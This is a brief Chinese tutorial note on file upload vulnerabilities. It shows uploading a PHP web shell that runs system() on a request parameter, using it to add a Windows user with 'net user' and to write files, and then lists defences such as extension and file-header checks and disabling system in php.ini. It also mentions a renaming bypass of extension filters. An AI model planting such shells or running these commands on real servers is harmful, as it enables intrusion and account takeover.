文件上传漏洞

约束文件类型

实例：

上传txt 上传成功



上传 hello.php 内容输入<?php phpinfo(); ?>



上传一个命令

<?php system($_get['cmd']);?> 上传成功



给命令传入参数





新建用户 net user hello pass /add





向服务器传文件 echo aaaaaaaaaaaaaaaaaa>>d:1.txt





避免：

1.文件上传的过滤

　　a.通过文件后缀名 MP3 -> php 截包绕过

　　b.通过二进制来判断文件类型 通过文件头等判断

2.修改服务器核心参数，禁止脚本引擎允许命令

　　php_ini disable_functions = system